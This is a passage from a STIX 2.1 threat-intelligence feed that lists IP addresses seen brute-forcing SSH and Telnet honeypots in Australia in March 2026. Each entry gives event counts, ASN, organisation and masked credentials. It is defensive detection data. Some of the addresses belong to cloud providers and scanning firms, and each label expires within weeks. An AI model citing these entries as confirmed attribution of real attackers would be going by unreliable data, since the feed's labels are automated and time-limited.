      "id": "indicator--7abdebbb-2e3b-486b-b380-79c569e02e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.222.30.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, e******m, s**v. Passwords observed (masked): *, 1****6, 1******8, 1********0, ***.",
      "id": "indicator--89c98d2c-9efe-4825-9625-79affa0eb775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.211.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, a****d, a**n, b****a. Passwords observed (masked): p******d, ***, 1******8, 3***********4, 3**********4.",
      "id": "indicator--d24132b6-5c5b-484c-b5c0-1981c52e31e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 174. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, ***, h****p, j**a. Passwords observed (masked): 1****1, ***, ***, d****y, ***.",
      "id": "indicator--7d7eb3da-7816-47e2-96df-062253433da1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.125.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--598ecdf8-19ca-4ca4-beea-f2eb968d82d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited.",
      "id": "indicator--472edd72-b7e7-436d-b617-6b97bc86fd44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.66.228.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--7d3d3664-f86a-498f-b62f-847151fb05a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--81b31d49-adb1-4c68-8db2-8bdc7f61e0d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.243.207.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T21:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r***1, r****2, r*****3.",
      "id": "indicator--a4d13a91-5be8-49ac-a0fa-d4dd9e69b116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T21:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.239.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T21:15:44.000Z",
      "valid_until": "2026-04-13T21:15:11.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): w******n, 3**********4, c****e, ***, m*****r. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--35ce3e07-9a9e-49b9-82f2-f21af79bf7eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): d****n, ***. Passwords observed (masked): S****3, p******d.",
      "id": "indicator--f1eafaaa-c37b-467f-9f1a-445b7b761b09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.35.127.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 215117. Organisation(s): HosterDaddy Private Limited. Usernames observed (masked): a***t, c****e, c***r, f******r, i***l. Passwords observed (masked): p******d, 1****6, a***t, i******3, o*****!.",
      "id": "indicator--61ffe912-eb98-49bf-a033-ea380be52d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.250.191.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--edb9127a-6b08-47f8-bdba-0ea1a096d665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.163.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): w******n, 3**********4, c****e, ***, m*****r. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--90715f18-188e-474a-ac28-9c53aafbbb2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.79.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.134.216.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T23:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4fe4ce64-2ae6-4638-8a6a-1b4ec69cfd40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T23:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T23:15:35.000Z",
      "valid_until": "2026-04-13T23:15:12.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140641. Organisation(s): YOTTA NETWORK SERVICES PRIVATE LIMITED. Usernames observed (masked): t*******r, 3**********4, c****t, m******t, r**t. Passwords observed (masked): p******d, 2******@, 3***********4, 3**********4, c********4.",
      "id": "indicator--93e73b7f-aa94-47a3-95b2-a7abdcb73b5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.91.246.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****r, j*****s, **. Passwords observed (masked): !***t, 1******x, 1******X, A********!, P******d.",
      "id": "indicator--fac587e5-2ba3-45d1-b486-717e0b5be4ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.199.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--44afcb42-d37f-43c4-9322-f3d3044743ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GE. ASN(s): 47810. Organisation(s): Proservice LLC. Usernames observed (masked): c****e, 3**********4, ***, n****a, s****m. Passwords observed (masked): 3***********4, 3**********4, m*****!, n********!, p*****3.",
      "id": "indicator--28789c46-4d37-4cb8-94df-1bd827f49cf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.54.178.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c046778d-3313-4599-bd8c-a7665eca08e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f05d8fbc-6381-48a1-86b8-ae2b04a1fe9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 212219. Organisation(s): Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi. Usernames observed (masked): t*******r, 3**********4, a***n, c****e. Passwords observed (masked): 1****8, 3***********4, 3**********4, p******d, q****y.",
      "id": "indicator--268ca0b2-93e9-43db-892b-2782a062f65f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.142.148.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--610ca676-8123-4232-9915-98f580ef6f63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.124.185.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T01:16:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d0d7a3e6-5845-49fd-8c0f-30b318af515d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T01:16:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '98.93.245.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T01:16:13.000Z",
      "valid_until": "2026-04-14T01:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 137987. Organisation(s): Md. Shohidul Islam TA SK Link. Usernames observed (masked): r**t, t***e. Passwords observed (masked): 1**4, 1**********C.",
      "id": "indicator--fa8f7016-f120-4cdf-8d8d-4d6a1eeba64a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.119.94.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--a6a169cd-c4a2-41c2-9e9b-a7ca71199045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--34d348a9-f71e-4ec7-80f9-9290795f668d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.75.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KW. ASN(s): 42961. Organisation(s): Mobile Telecommunications Company K.S.C.P..",
      "id": "indicator--917ba651-0b71-4570-bf4b-fc18d824b06c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.34.242.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T04:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--2650cefb-0449-4b30-b911-7a9b7f3d6cad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T04:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.175.69.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T04:15:49.000Z",
      "valid_until": "2026-04-14T04:15:04.000Z"
    },
    {
      "created": "2026-03-13T07:17:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4519ecb3-4453-4894-9c18-cde99d7c4ba0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T07:17:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.13.105.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T07:17:25.000Z",
      "valid_until": "2026-04-14T07:15:11.000Z"
    },
    {
      "created": "2026-03-13T07:17:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7a216e4b-4674-4392-adc4-b6c0cf587b2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T07:17:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.105.128.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T07:17:25.000Z",
      "valid_until": "2026-04-14T07:15:11.000Z"
    },
    {
      "created": "2026-03-13T07:17:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--7222bbd1-8120-4140-aec6-687ea8730983",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T07:17:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.210.254.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T07:17:25.000Z",
      "valid_until": "2026-04-14T07:15:11.000Z"
    },
    {
      "created": "2026-03-13T07:17:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a7eef098-8906-4ab9-9a6e-16fdc5b507d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-13T07:17:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.206.81.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T07:17:25.000Z",
      "valid_until": "2026-04-14T07:15:11.000Z"
    },
    {
      "created": "2026-03-13T07:17:25.000Z",
